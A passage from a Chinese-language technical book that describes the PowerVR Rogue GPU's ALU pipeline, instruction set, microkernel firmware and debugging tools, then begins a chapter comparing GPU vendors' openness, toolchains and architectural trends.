水线中画了4个ALU和1块统一存储空间,这些数量都是示意性的,是不
准确的。
13.2.3 ALU流水线
图13-4是Rogue的ALU流水线示意图。图中左侧代表输入,右侧代
表输出,中间是执行不同操作的子流水线。
图13-4中画了很多条从左到右的执行流程,这些流程是可以并行
的。理想情况下,尽量让所有子流水线都在工作,充分利用硬件资源。
为了提高并行度,ALU流水线又把每个时钟周期细分为三个阶段
(Phase,或者称相位),即图13-4中顶部标注的阶段0、阶段1和阶段
2。在指令手册中,明确定义了每条指令在每个阶段所做的操作和输出
的中间结果。这样,一条指令在阶段0的输出就可以被另一条指令在阶
段1中使用。后面在介绍指令集时会通过代码实例进一步介绍。
另外值得说明的是,图13-2、图13-3和图13-4三幅图中,都包含
ALU,但是表现方式不同。图13-3只是模糊地画出抽象表达,图13-2标
出了类型,图13-4最详细,把不同类型的ALU放在各自的工作位置上,
有的包含多个实例。图中的Byp是Bypass(旁路)的缩写,表示跳过该
部分操作。
图13-4 ALU流水线
13.3 参考指令集
2014年10月,IMG公司公开了PowerVR GPU的指令集(ISA),这
在当时引起了不小的轰动。这说明了两个问题。一方面是人们都深知指
令集信息的价值,求之若渴。另一方面也反映了SoC GPU领域的技术氛
围相对封闭,不如PC GPU领域开放。
需要说明的是,公开的指令集文档主要针对Rogue架构的第6代
PowerVR GPU,但是没有针对具体的硬件版本。这意味着有些描述是版
本模糊的,可能与具体硬件不匹配,所以文档中把这个指令集叫作参考
指令集(Instruction Set Reference,ISR)。
13.3.1 寄存器
在公开的文档中,包含了编写普通GPU应用程序时可能使用到的寄
存器。这些寄存器分为多个类型,本书将其归纳在表13-1中。
表13-1 公开的PowerVR寄存器
类型
名字
最大
数量
访问
说 明
临时 Rn
248
读/写
通用寄存器,从统一存储(US)分配,没有初始
化
顶点
输入 Vin
248
读/写
与临时寄存器类似,不过已经初始化为对应的输
入
系数 CFn
与架
构相
关
读/写
包含预先初始化好的系数输入,从USCCS分配,
供一个线程组的多个线程实例共享访问
包含初值,从USCCS分配,供一个线程组的多个
共享 SHn
4096
读/写
线程实例共享访问
索引 IDXi
2
读/写
用于索引其他寄存器组(bank),未初始化
像素
输出 On
与架
构相
关
读/写
供像素着色器使用,向PBE(像素处理后端)模
块输出数据
特殊
常量 SCn/SRn 240
SC只读,
SR可读写
用于存放常量
顶点
输出 Von
256
只写
用于向UVS模块输出数据
在表13-1中,寄存器名字(第2列)中的n代表阿拉伯数字,另
外,n前面的字母也可以小写,也就是,具体的寄存器名是r0、r1、vi0
等。此外,从这个表可以看出,寄存器的分类很细,根据用途做了深入
细分,但是针对的用途主要是图形渲染。这意味着Rogue架构是针对3D
图形任务量身设计的,对于通用计算任务,很多设施是不适用的。
13.3.2 指令组
回想上一节介绍的ALU流水线,其内部有很多个可以并行工作的子
流水线。为了提高ALU流水线的利用率,PowerVR设计了指令组概念。
每个指令组包含多条指令,可以一起提交(co-issue)到ALU流水线。
在汇编语言中,使用下面这样的简单格式来表达指令组。
<n> : [if (cond)] # n is group number (if is optional)
<Op 0> # First op
[Op 1] # Second op (optional)
..
[Op N] # Nth operation (optional)
其中,n为指令组序号,从0开始,单调递增,其后的冒号是必需
的。每个指令组可以包含一个条件描述,这个条件总是相对于整个指令
组的。条件描述可以有if,也可以直接用小括号来表示。
比如,下面是使用反汇编工具得到的一段指令,包含了三个指令
组。
0 : mov ft0, vi0
mov ft1, sh13
tstg.u32 ftt, p0, ft0, ft1
1 : (ignorepe)
cndst 3, i3, c0, 1
2 : br.allinst 178
在0号指令组中,包含了3条指令。第1条指令把顶点输入寄存器vi0
的值赋给内部的馈通寄存器ft0,这里ft是FeedThrough的缩写。第2条指
令把共享寄存器sh13(h后为阿拉伯数字1,不是l)赋值给馈通寄存器
ft1。第3条寄存器测试ft0是否大于ft1(Test greater than),测试结果会
放入内部的ftt寄存器和谓词寄存器p0中。
介绍到这里,读者可能有个疑问:显然,第3条指令是依赖前两条
指令的,要等前两条指令执行完,才可以执行第3条,怎么可以同时把3
条指令提交给硬件呢?简单回答,这里巧妙使用了上一节介绍的“阶
段”概念,在每个时钟周期内,又分为三个执行阶段,第3条指令的测试
操作总是在最后一个阶段才执行(见图13-4),而前两条指令的赋值操
作会在阶段1或者阶段2就完成,因此同时提交是没有问题的。
1号指令组有个条件描述(ignorepe),其中,pe代表执行谓词
(execution predicate),用于存在分支判断的地方,可以屏蔽某个或者
某些线程实例。ignorepe表示忽略谓词状态。
13.3.3 指令修饰符
在Rogue的指令中,可以出现不同形式的修饰符(modifier),比
如,在上面介绍的tstg.u32指令中,.u32便是用于指定操作数类型的描述
符,代表无符号32位整数。
除了类型修饰符之外,还有一些有趣的修饰符,比如,指令mov
ft0, sh0.abs表示取sh0的绝对值,赋给ft0。与取绝对值的.abs修饰符
类似,mov ft0, sh0.neg中的.neg代表取负值。另外,可以用.e0、.e1
这样的修饰符来引用寄存器中的一部分。
13.3.4 指令类型
在公开的参考指令集中,把指令分成如下10种类型。
浮点指令,比如FMAD是乘加指令,FADD是加法指令,FSQRT可
以取平方根,FLOG用来取对数等。
数据移动指令,比如赋值用的MOV指令,打包数据的PCK指令,
解包数据的UNPCK指令等。
整数指令,针对整数的各种计算,操作符名称都以I开头,比如
IMAD、IMUL等。
测试指令,执行各种测试和比较操作,比如前面介绍过的TSTG指
令便属于此类。
位操作指令,包括“与”或“非”、移位等位操作。
后端指令,与其他功能单元交互的指令。
流程控制指令,执行各种分支跳转操作的指令,比如BA可以用来
跳转到指定的绝对地址,BR可以完成相对跳转。
条件指令,执行不同情况的条件判断。
数据访问指令,访问共享或者全局数据的一些指令,比如DITR指
令可以从指定系数开始遍历坐标。另外,SBO指令用来设置共享数
据或者系数区域的基地址偏移量。
64位浮点指令,针对64位浮点数的各种运算,包括乘法
(F64MUL)、乘加(F64MAD)、除法(F64DIV)、取平方根
(F64SQRT)等。
13.3.5 标量指令
Rogue架构的指令属于标量指令,每条指令针对单个标量数据执行
操作。比如加法指令的格式如下。
fadd dst0, src0, src1
它执行的操作就是dst0 = src0 + src1。
13.3.6 并行模式
在Rogue架构中,也有与Nvidia的WARP和AMD的波阵类似的线程
组概念。Rogue硬件会以线程组为单位来执行着色器函数,属于同一个
线程组的一组线程在Rogue的多条ALU流水线上同步执行。
在题为“PowerVR图形——最新进展和未来计划”(PowerVR
Graphics—Latest Developments and Future Plans)的官方演讲文件中[8],
这样描述Rogue的USC。
“New scalar SIMD shader core”
其中,标量(scalar)代表了标量指令集这一基本特征。这里的
SIMD说法是不精确的,容易让人产生误解,原作者可能是想用它描述
与Warp类似的线程并行特征,但用词不当。
另一方面,因为Rogue的ALU流水线具有较强的并行能力,加上前
面的指令组机制,所以Rogue架构上还有一种并行模式,那就是指令组
级别的并行。
13.4 软件模型和微内核
在PowerVR GPU的软件模型中,名为微内核(Microkernel)的GPU
固件(firmware)起着关键的作用,不但与普通的GPU功能关系密切,
而且是很多调试功能的基础。
13.4.1 软件模型
简单理解,微内核就是运行在PowerVR GPU内部的软件。一方面,
与CPU端的驱动程序通信,为其提供服务;另一方面,管理GPU上的硬
件资源,处理GPU上各个硬件部件所报告的事件。图13-5画出了包含微
内核的PowerVR GPU软件模型。
图13-5 PowerVR GPU的软件模型
图13-5是以Linux操作系统的情况为例来画的,图中的DRM代表
Linux系统中的直接渲染管理器(Direct Render Manager),UMD和
KMD分别代码GPU的用户态驱动和内核态驱动程序。
顺便说明一下,PowerVR GPU的驱动程序一般是芯片生产商提供
的,通常在IMG公司提供的驱动程序开发套件(DDK)的基础上进行开
发。例如,在包含PowerVR GPU的TI平台上,其内核态驱动程序就是TI
提供的,名字叫omapdrm,以下是通过dmesg观察的内核信息。
[ 3.269447] omapdrm omapdrm.0: fb0: omapdrm frame buffer device
[ 3.309063] [drm] Initialized omapdrm 1.0.0 20110917 on minor 0
在Linux内核源代码树包含了omapdrm驱动,位置为
gpu/drm/omapdrm。然而,用户态驱动程序是不开源的。下载和更新微
内核的逻辑包含在用户态驱动程序中。
在Google的Android源代码树中,有一套功能更强大的PowerVR驱
动程序,目录名就叫pvr,路径为drivers/gpu/pvr。这个驱动程序支持一
个虚拟的调试子设备,设备路径为以/dev/dbgdrv。
13.4.2 微内核的主要功能
微内核提供多种功能,根据有限的信息,有如下几类:内存空间管
理、电源管理、硬件的快速恢复、任务调度、调试和调优支持等。
在上面提到的PVR驱动程序的sgxinfo.h中,定义了向微内核发送命
令用的枚举常量,并且包含了命令类型。摘录如下。
typedef enum _SGXMKIF_CMD_TYPE_
{
SGXMKIF_CMD_TA = 0,
SGXMKIF_CMD_TRANSFER = 1,
SGXMKIF_CMD_2D = 2,
SGXMKIF_CMD_POWER = 3,
SGXMKIF_CMD_CONTEXTSUSPEND = 4,
SGXMKIF_CMD_CLEANUP = 5,
SGXMKIF_CMD_GETMISCINFO = 6,
SGXMKIF_CMD_PROCESS_QUEUES = 7,
SGXMKIF_CMD_DATABREAKPOINT = 8,
SGXMKIF_CMD_SETHWPERFSTATUS = 9,
SGXMKIF_CMD_FLUSHPDCACHE = 10,
SGXMKIF_CMD_MAX = 11,
SGXMKIF_CMD_FORCE_I32 = -1,
} SGXMKIF_CMD_TYPE;
上面0号命令中的TA是Tiling Accelerator的缩写,代表图块加速器。
从上述定义可以看到,微内核所提供的服务是很广泛的,8号命令是用
于设置数据断点的,本章后面将介绍它。
13.4.3 优点
因为微内核软件很容易更新,所以使用它来完成上述功能的第一个
优点就是灵活,容易修正和升级。
在官方文档提到的另一个好处是与通常在CPU端处理事件的做法相
比,使用微内核来处理GPU的事件速度快、延迟小,不仅减少了CPU端
的开销,还减少了CPU和GPU之间的交互,有利于降低功耗。
13.4.4 存在的问题
任何方法都不会是完美的,上述软件模型很容易导致一个工程问
题。图13-5中的UMD、KMD和微内核三者之间需要相互通信和紧密配
合。为了提高效率,设计者使用了共享数据结构等耦合度很高的通信接
口,这便导致三者之间一旦一方改动了共享的数据结构,那么其他两方
也要随着更改和重新编译,不然就可能导致严重的问题。一位曾经参与
过Nokia N9项目的同行在博客中很生动地描述了这个问题,将其称为系
统集成过程中的噩梦。
另外,微内核的大多数代码都是使用汇编语言编写的,这也导致开
发成本较高和维护困难。
13.5 断点支持
在公开的PowerVR GPU资料中,没有专门介绍硬件的调试设施。本
节根据不同来源的零散信息简要介绍PowerVR GPU的断点支持。
13.5.1 bpret指令
只在参考指令集的流程控制类指令里提到了一条与断点有关的指令
——bpret。
指令手册对bpret的解释只有如下两句话。
Branch absolute to saved Breakpoint Return address. The predicate conditio
n code must be set to "always".
前一句的意思是执行分支跳转,目标地址的形式是绝对地址,地址
内容来自以前保存的断点返回地址。其中Breakpoint Return两个单词的
首字母大写,代表这是个特定名称,可能代表某个特别的寄存器。后一
句的意思是谓词条件代表必须设置为“always”(总是)。
根据有限的信息可以判断,这条指令很可能与CPU的iret指令类
似,在断点异常发生和处理之后,它恢复当初断点出现时的上下文,并
返回出现断点的位置继续执行。
13.5.2 数据断点
在前面提到的位于Android源代码树的PVR驱动程序中,有很多公
开文档不包含的信息,比如数据断点支持。简单来说,至少从SGX开
始,PowerVR GPU就有数据断点支持,设置方式是向上一节介绍的微内
核发送设置命令。
在名为sgxinit.c的源文件中,有设置数据断点的详细过程。PVR驱
动程序接收到来自用户态的
SGX_MISC_INFO_REQUEST_SET_BREAKPOINT请求后,先是把顶层
传递下来的断点参数整理成微内核接受的命令参数。
sCommandData.ui32Data[0] = psMiscInfo->uData.sSGXBreakpointInfo.ui32BPInde
x;
sCommandData.ui32Data[1] = ui32StartRegVal;
sCommandData.ui32Data[2] = ui32EndRegVal;
sCommandData.ui32Data[3] = ui32RegVal;
0号元素是断点序号。1号元素是要监视数据的起始地址,这个信息
要放入硬件的起始地址寄存器中,所以变量名叫StartRegVal。2号元素
是结束地址。3号元素是控制信息,用于指定要监视的访问方式。命令
参数准备好后,接下来便执行发送动作。
PDUMPCOMMENT("Microkernel kick for setting a data breakpoint");
eError = SGXScheduleCCBCommandKM(psDeviceNode,
SGXMKIF_CMD_DATABREAKPOINT,
&sCommandData,
KERNEL_ID,
0,
hDevMemContext,
IMG_FALSE);
函数名中的CCB是环形命令缓冲区(Circular Command Buffer)的
缩写,是驱动程序与微内核通信的接口,其工作方式与第11章介绍的环
形缓冲区相似。第二个参数是上一节提到过的命令常量,其值为8。第
三个参数是准备好的命令参数数组。
13.5.3 ISP断点
根据PVR驱动中的信息,PowerVR GPU还支持ISP断点。ISP的全称
是图像合成处理器(Image Synthesis Processor)。在第4代PowerVR
GPU的硬件流水线中,就可以看到ISP模块,主要作用是决定某个像素
是否可见,把不可见的图块删除掉。在后来的架构中,ISP模块演变为
像素数据管理器。ISP断点命中会导致微内核接收到中断,然后更新控
制流,并把“可见度”结果写到用户的缓冲区中。简单来说,ISP断点是
用来支持3D图形调试的。
13.6 离线编译和反汇编
在PVR SDK中,包含了一个简单易用的小工具,名叫
PVRShaderEditor(本书中简称PSE),使用它不仅可以编辑GPU程序,
还可以离线编译和反汇编。因为PSE使用的是交叉编译和离线工作模
式,所以可以在没有PVR GPU的平台上使用,方便快捷。
13.6.1 离线编译
启动PSE后,按Ctrl + N快捷键调出“创建新文件”对话框。在该对话
框中,选择一种程序类型,比如OpenGL ES类别中的顶点着色器,单
击“确定”按钮关闭对话框,PSE便会根据模板创建一个简单的顶点着色
器,呈现在源代码窗口,并立即开始编译和反汇编。不到1min,就会显
示编译和反汇编结果(见图13-6)。
图13-6 使用PSE编译和反汇编顶点着色器
在图13-6所示的屏幕截图中,左下角为输出窗口,会显示编译错误
等消息,所以在PSE的帮助文件中将其称为调试窗口。例如,创建一个
新的OpenGL ES标准的计算着色器(compute shader)后,这个窗口中
可能出现下面这样的错误消息。
Compile failed.
ERROR: 0:17: 'gl_GlobalInvocationID' : undeclared identifier
ERROR: 0:17: 'x' : field selection requires structure, vector, or matrix o
n left hand side
ERROR: 2 compilation errors. No code generated.
错误的意思是无法识别gl_GlobalInvocationID变量。但
gl_GlobalInvocationID是OpenGL计算着色器中的内置变量(代表全局范
围的调用ID),怎么会无法识别呢?
这是因为PSE支持多种类型的GPU程序,内部包含了很多个编译
器。值得特别注意的是,一定要选择正确的编译器类型。上面的错误就
是因为创建新的程序后,PSE没有自动切换编译器类型。单击图13-6右
上角的Current shader type(当前着色器类型)下拉列表框,选择
Compute类型后再编译,就没有错误了。
13.6.2 反汇编
编译成功后,PSE会自动做反汇编,把结果显示在反汇编窗口中,
如图13-6右侧所示。如13.3.2节所介绍的,部分指令前面的序号代表指
令组编号。为了便于观察,不同指令组之间加了个空行。
因为反汇编结果是GPU的硬件指令,所以它是与硬件版本相关的。
右下角的Profiling子窗口中会显示针对的硬件版本号,比如图13-6中显
示的是G6x00,代表Rogue架构的第6代PVR GPU。
单击图13-6中右上角的齿轮图标可以切换硬件版本,但是目前版本
(2.11)只支持5系列、5XT和Rogue架构(6代或者更高)。另外,选择
5系列后,编译功能的选项减少,仍能正常使用,但是反汇编功能无法
正常使用了,窗口自动隐藏,手工调出后,显示的也是空白。
13.7 PVR-GDB
2018年3月,IMG公司在一年一度的GDC大会上公开展示了一个新
的软件工具——PVRStudio[9]。PVRStudio是一个全功能的集成开发环境
(IDE)。内部集成了基于GDB开发的调试器,让用户可以同时调试
CPU和GPU的代码。这个定制过的调试器称为PVR-GDB。目前
PVRStudio还必须签署保密协议(NDA)才能下载,因此本节只能根据
公开的有限资料简要介绍PVRStudio的调试功能。因为这些功能是由
PVR-GDB支持的,所以标题叫作PVR-GDB。
13.7.1 跟踪调试
在PVRStudio中,用户可以通过单步跟踪方式执行GPU程序。在代
码窗口中,可以同时显示OpenCL或者着色器程序的源代码和反汇编出
来的汇编代码,如图13-7所示。
观察图13-7中的反汇编部分,每一行是一个指令组,而不是一条汇
编指令。这种方式非常新颖而且与前面讲过的硬件流水线特征相吻合。
图13-7 PVRStudio的源代码和反汇编窗口[9]
仔细查看反汇编部分,每一行分为3列。其中第1列是GPU空间中的
线性地址,第2列是相对函数入口的偏移量;第3列是指令组。指令组部
分以大括号包围其中的所有指令,指令之间以分号分隔。根据地址部
分,可以算出每个指令组在内存中的机器码长度,进而可以估算指令的
长度。据此推理,PVR指令是不等长的,短的有4字节,长的至少有12
字节。
13.7.2 寄存器访问
在PVRStudio中,可以通过寄存器窗口观察GPU的寄存器,如图13-
8所示。为了节省篇幅,图13-8中只截取了窗口的一小部分,窗口下面
还有很多个共享寄存器和其他类型的寄存器。
图13-8 寄存器窗口(局部)[9]
图13-8中的第一个寄存器是程序计数器(PC)寄存器,代表将要执
行的下一条指令的地址。因为刚刚更新为新的值(之前做过单步跟
踪),所以显示为红色。第二个寄存器叫作cluster,代表PVR GPU中统
一着色器集群(USC)的编号。
13.7.3 其他功能
PVR-GDB也支持查看局部变量,查看GPU内存,显示GPU的函数
调用栈等,因为与其他介绍过的调试器大同小异,所以本书不做详细介
绍了。
13.7.4 全局断点和局限性
在PVRStudio中,用户可以直接在源代码窗口设置断点,这样的断
点被赋予一个特定的名字,叫作全局断点。根据官方的演示视频,目前
版本只支持一个全局断点。设置一个新的全局断点之后,旧的就不会再
命中。这是一个较大的局限性,或许将来版本可以有所改进。
13.8 本章小结
在SoC GPU领域,PowerVR是很响亮的名字,具有很大的影响力。
本章前半部分比较详细地讨论了PVR GPU的硬件结构和软件指令,重点
介绍了很有特色的ALU流水线和指令组概念。PVR GPU的另一大特色
是微内核,可以灵活更新的微内核在PVR软件模型中扮演着重要角色。
本章后半部分介绍了PVR GPU 的调试设施,包括不同类型的断点,离
线编译和反汇编的工具,以及PVR-GDB。
PVR GPU的工具链很丰富,除了本章介绍的工具之外,还有用于调
优的PVRTune,用于图形调试的PVRMonitor(HUD模式,可以把调试
信息直接显示在3D画面上),以及基于事件追踪机制的PVRTrace等。
参考资料
[1] PowerVR at 25 : The story of a graphics revolution.
[2] Imagination's PowerVR Rogue Architecture Explored by Ryan
Smith on February 24, 2014 3:00 AM EST.
[3] Job listings suggest Apple might take its chip making to the next
level.
[4] Apple Announces 2017 iPad 9.7-Inch: Entry Level iPad now at
$329 by Ryan Smith on March 21, 2017 3:45 PM EST.
[5] The mysteries of the GPU in Apple’s iPhone 7 are unlocked.
[6] PowerVR Instruction Set Reference, PowerVR SDK
REL_17.2@4910709a External Issue, Imagination Technologies Limited.
[7] Imagination Releases Full ISA Documentation For PowerVR
Rogue GPUs.
[8] PowerVR Graphics - Latest Developments and Future Plans.
[9] PVRStudio – the first IDE to allow GPU debugging on mobile
platforms.
第14章 GPU综述
前面5章分别介绍了5家公司的GPU,其中三家属于PC GPU阵营,
两家属于SoC GPU阵营。本章将做一个简要的总结和比较,分两部分。
前半部分首先对各家GPU做简单的横向比较,然后介绍GPU领域的主要
挑战和发展趋势。后半部分首先简单介绍本书前面没有覆盖的GPU,然
后推荐一些了解学习GPU的资料和工具。
14.1 比较
从GPU开发者的角度,本节对前面介绍的5家GPU做简单比较。比
较的范围就是前面5章所介绍的5家公司,比较的依据完全来自作者的个
人印象,没有系统的评测,也没有大量的数据。当然,这样做很可能存
在偏颇与错误,恳请读者批评与指正。
14.1.1 开放性
在开放性方面,英特尔稳坐第一把交椅,它开放的技术文档和源代
码轻松超过其他4家的总和。
在搜索引擎中输入“intel gpu prm”,在搜索结果中会出现大量的
GPU手册。第11章曾专门介绍过这些文档,也曾反复引用。
在与从事GPU应用开发的一个同行聊天时,曾谈到过这些PRM,他
说:“太长了,没法读。”诚然如此,英特尔公开的GPU文档让人看不过
来,一个4000多页的PDF就让人不知所措,让你只能嫌多,难以嫌少。
除了排山倒海般的PRM,英特尔还气势如虹地公开了大量的源代
码。单GPU程序的编译器,就公开了4个:Beignet、NEO、CM和IGC。
CM是C for Media的缩写,曾经是只提供给少数合作伙伴的神秘武器。
IGC是Intel Graphic Compiler的缩写,其中包含了大量不可明言的奥秘。
AMD很早就公开了指令集手册,GitHub上也开源了多个项目。
如果一定要给其他4家排个顺序,那么就是AMD、IMG、Nvidia和
ARM。
14.1.2 工具链
在开发工具链方面,Nvidia排名首位。Nsight、nvprof、nvvp、
nvcc、cuda-gdb、nvdisasm、ptxas都功能强大,并且质量稳定。
以GPU断点功能为例,Nsight(Windows版本)不仅很稳定,还支
持多个调试会话,Linux下的cuda-gdb也很稳定,但是只支持一个会话。
AMD的GPU断点功能也比较稳定,并且在同一个会话里支持CPU断点
和GPU断点。英特尔GT调试器的GPU断点功能很不稳定。PVR GDB有
断点支持,但只支持一个全局断点。Mali GPU的断点支持可能在开发
中,未曾闻之。
工具链的长久稳定也是很重要的。在这方面,Nvidia也做得比较
好,始终是一套核心的CUDA Toolkit,超过1G的安装包,装好就几乎
全有了,一站式服务,里面甚至包含了几百兆字节的驱动程序,如果发
现驱动不合适就立马升级驱动。AMD的开发工具变换最频繁,曾经使
用Stream SDK,后来改名为APP SDK,目前似乎在推名为Open64的
SDK和编译器,以及GitHub上的ROCm(Open64和ROCm都不支持
Windows平台)。
概而言之,在工具链方面的排序是:Nvidia、AMD、英特尔、IMG
和ARM。
14.1.3 开发者文档
网上广泛流传着一段关于鲍尔默的视频,他手舞足蹈,口中反复念
着一个单词,Developers、Developers、Developers……对于操作系统来
说,开发者何其重要。对于GPU来说,又何尝不是呢?
如何留住老的开发者并吸引新的开发者呢?开发者文档是写给开发
者的书信,其重要性不言而喻。
安装CUDA工具集后,在doc目录下包含两个子目录:html和pdf,
写给开发者的 50 多个文档以两种格式分别存放其中。大多数文档的开
头都有下面这样的版本标识。
TRM-06710-001 _vRelease Version | July 2017
这说明这些文档是得到认真维护和更新的。
当然,关键的还是文档内容。读CUDA的文档,经常有读当年
Win32经典文档的感觉。读其他几家公司的文档时,很难找到这种感
觉。
后面4位的排序为:英特尔、AMD、IMG和ARM。
14.2 主要矛盾
与CPU硬件和CPU上面的软件相比,GPU软硬件的复杂度都提升了
一个级别。本节简要探讨GPU领域的基本问题和主要矛盾,仍是一家之
言,谨供参考。
14.2.1 专用性和通用性
在GPU的硬件方面,如何平衡专用逻辑和通用逻辑的比例是个基本
问题。专用逻辑的典型代表是固定功能单元,比如3D加速流水线和视
频编解码流水线。通用逻辑是指微处理器形式的通用执行引擎。
正如前面章节所介绍的,一般来说,固定功能单元具有速度快的优
点,但是功能单一,使用率可能很低。通用执行引擎的优点是功能灵
活,用途广泛,但是一般速度达不到固定单元那么高。
在实际的GPU产品中,通常根据产品的市场定位来寻找一个比较好
的平衡点,既保证一定比例的固定功能单元,以保证关键应用的性能,
又要努力增加通用执行引擎的数量,增加通用性,满足多样化的应用需
求。
举例来说,Nvidia GPU在通用化方面一直是很领先的,但是其内部
仍保留一定比例的纹理处理单元,以确保传统3D应用的速度需要。
14.2.2 强硬件和弱软件
GPU硬件不断发展,越来越强大,但是软件方面还非常弱。正如第
8章所描述的,由于历史原因,在以CPU为核心的计算机架构中,GPU
处于设备地位。换句话来说,在软件方面,目前GPU还不独立,需要有
庞大的驱动程序和软件栈运行在CPU上,任务调度和资源管理等很多重
要事务都要依赖CPU。这种做法不但效率很低,而且导致开发、调试和
优化GPU程序的难度也非常高,这当然也限制了GPU的发展。
14.3 发展趋势
与CPU相比,GPU还很年轻。回顾CPU的发展历程,当年也曾有很
多家相互竞争,群雄逐鹿,但是发展到今天,只剩下几家了。我想,
GPU的未来也将是这样,适者生存,强者淘汰弱者。谁能成为强者呢?
这个问题不那么好回答。一般来说,顺应发展潮流的更有可能成为强
者。发展潮流是怎么样的呢?本书略陈己见,读者不必认真。
14.3.1 从固定功能单元到通用执行引擎
在硬件方面,使用统一结构的执行引擎来取代固定功能的硬件加速
流水线是一个普遍的趋势。这样做的好处有很多。一方面是伸缩性好,
很容易通过增加实例数量来调整并行度;另一方面是通用性好,灵活度
高,容易满足不同应用的需求。
英特尔的G965(Gen4)和Nvidia的G80是引领统一化设计方向的两
个开路先锋,两款产品都是在2006年推出。2010年10月,Midgard架构
的Mali T600系列推出,标志着Mali GPU也走上了统一化设计的方向,
比英特尔和Nvidia晚了4年。一方面,这印证了统一化的设计方法是广
泛适用的,是潮流所向;另一方面,这也符合SoC GPU跟随PC GPU发
展的规律。
14.3.2 从向量指令到标量指令
在指令集方面,GPU领域曾经流行超长指令字(VLIW)和SIMD类
型的向量指令。向量指令的特点是可以直接操作向量,一条指令可以并
行计算很多个元素。
但是向量指令具有一个很大的缺点,就是不灵活。对于3D渲染等
图形任务,向量指令比较合适,很容易找到可以同时计算的数据。但是
对于快速排序等通用计算任务,向量指令就显得很笨拙。
标量指令每次只操作单个数据,但是具有灵活性高的优点。
不妨再以英特尔G965和Nvidia G80来看这个问题,G80使用的是标
量指令,G965使用的是向量指令。这两个产品和它们的后代命运迥
异,指令集方面的根本差异或许是导致命运不同的重要技术因素。
在这个问题上,AMD GPU的做法可能是非常明智的,既有标量指
令,又有向量指令,适合标量的用标量指令,适合向量的用向量指令,
表面看起来让人拍手叫绝。但其实,这样做导致硬件结构比较复杂,对
编译器也有要求,不知道AMD的这种做法能坚持多久。
Mali GPU在Bifrost架构之前,使用的都是向量指令,但是从Bifrost
开始,改为标量指令,时间是2016年,比G80晚了10年。这再次印证了
SoC GPU跟随PC GPU发展的规律。
14.3.3 从指令并行到线程并行
高并行能力是GPU的生存之本。向量指令是在指令级别并行,高度
依赖被计算数据和编译器,存在很大的局限性。
那么应该如何做并行呢?本书认为线程级别并行是大势所趋。
Nvidia的PTX指令集和WARP技术是典型的线程级别并行,让一批线程
以同样的步调并行执行算核函数。在软件方面,这样做编程简单,容易
理解,而且编译器也简单。在硬件方面,也只要设计简单的执行流水
线,每个流水线只要处理单个元素。
AMD GPU也较早就采用了线程并行的执行模型,发明了一个新的
术语——波阵(wavefront)来代替WARP。
从以上三个趋势来看,Nvidia是走在最前面的,AMD紧随其后,其
他几家有的在追赶,有的还懵懵懂懂。
14.4 其他GPU
如前所述,GPU市场还处在群雄争霸的阶段。除了本书前面介绍的
GPU外,还有很多种GPU,以这样或者那样的方式存在和发展着。本节
简要介绍几种其他GPU。
14.4.1 Adreno
2007年11月,高通推出名为骁龙(Snapdragon)的SoC。今天,很
多品牌的智能手机内部使用了骁龙芯片,比如小米、HTC、三星等。
骁龙芯片内部的CPU是ARM架构,其中的GPU叫Adreno。
Adreno源于ATI针对移动市场开发的Imageon SoC。2006年AMD收
购ATI后,在2009年把Imageon产品线出售给了高通。高通收购Imageon
后,将其中的GPU改名为Adreno。
第一代Adreno使用的是固定功能流水线设计。从第二代开始使用统
一化设计,其中包含多个统一结构的着色器。Adreno内部也具有一些低
功耗的特征,比如基于图块渲染和早期深度测试等。第二代Adreno使用
的是超长指令集,与之前介绍过的Terascale类似。第三代开始改为使用
标量指令集。
在Linux内核源代码树中,gpu/drm/msm目录下包含了Adreno GPU
的开源驱动程序,里面包含了寄存器定义等大量底层信息。
14.4.2 VideoCore
在著名的树莓派单板电脑中,使用的是博通(Broadcom)公司的
SoC,其内部的CPU是ARM架构,GPU名叫VideoCore。
2014年2月28日,在树莓派两周年的仪式上,博通公司宣布开发一
份完整的文档。这份文档是针对第四代VideoCore(称为Video Core
IV)的,文档有一百多页,比较详细地介绍了Video Core IV的硬件结构
和指令集[1]。
根据公开的文档,在Video Core内部由4路SIMD流水线组成一个片
区(slice),称为一个QPU(Quad Processor Unit),如图14-1所示。
图14-1 VideoCore GPU结构框图
Linux内核源代码树的gpu/drm/vc4子目录下有VideoCore GPU的开源
驱动,里面包含了很多与硬件相关的信息。
14.4.3 图芯GPU
图芯(Vivante)公司成立于2004年,原名为GiQuila,最初的产品
是支持DirectX的PC GPU。2007年转向SoC GPU领域,并改名为
Vivante,在中国有多处研发中心,中文名为图芯。在瑞芯微的RK2918
SoC芯片中,使用了图芯GPU。
在Linux内核源代码树的gpu/drm/etnaviv子目录下包含了开源版本的
图芯GPU驱动程序。这个驱动来自Etnaviv项目,在GitHub上可以找到这
个项目的更多子项目[2]。
14.4.4 TI TMS34010
20世纪80年代和90年代的PC浪潮,让人们意识到了显卡的重要
性。也令很多半导体公司都不禁思考:“我们是不是也应该做显卡?”德
州仪器(Texas Instruments,TI)是老牌的半导体公司,它也曾投身显
卡领域,而且出手不凡,早在1986年就发布了领先于时代的可编程显卡
芯片,名叫TMS34010图形系统处理器,简称TMS34010。
TMS34010内部包含了一个完整的32位处理器,这个处理器支持很
多面向图形操作的指令,比如在二维位图上画曲线,以及对像素数据做
各种算术运算等。TMS34010也支持普通的CPU指令,可以运行标准C编
译器编译出的程序。用今天的话来说,TMS34010集CPU和GPU于一
身,与多年后的英特尔Larabee有些相似。
图14-2所示的TMS34010系统框图来自TI官方的TMS34010产品手册
(Specification),其中虚线框起来的部分就是TMS34010芯片,左侧与
主CPU交互,右侧与内存、显存以及显示器交互。
图14-2 TMS34010系统框图[3]
TMS34010推出后,曾在街机游戏(Arcade game)领域有一些应
用。从1988年到1995年,有十几种街机游戏支持TMS34010。PC端的3D
游戏走红后,TMS34010逐渐没落了。
14.5 学习资料和工具
CPU的时代正在悄然落幕,GPU的时代正在开启。这样说并不意味
着我们不再需要CPU,只是说它不再是热点,不再有蓬勃发展的机会。
而GPU则像一个刚出道的明星,活力四射。也可以说GPU领域像一块新
大陆,很多领地等待开垦。
在本书第三篇结束前,特别推荐一些学习资料和工具,分三个类别
(文档、源代码和工具),各推荐三种。
14.5.1 文档
不管你是否一定用CUDA,都值得读一下《PTX ISA手册》,感觉
这个手册是懂开发的人写给开发者看的。这个手册的前三章特别值得细
读。在10多页的篇幅中,作者以精湛的语言解说了GPU编程的基本特征
和关键概念。第4章介绍PTX指令的语法。第5章介绍GPU程序的状态空
间,包括寄存器、参数、常量、共享内存和全局内存。第9章篇幅最
长,介绍指令集和每一条指令。
《CUDA C编程指南》(《CUDA C Programming Guide》)也是非
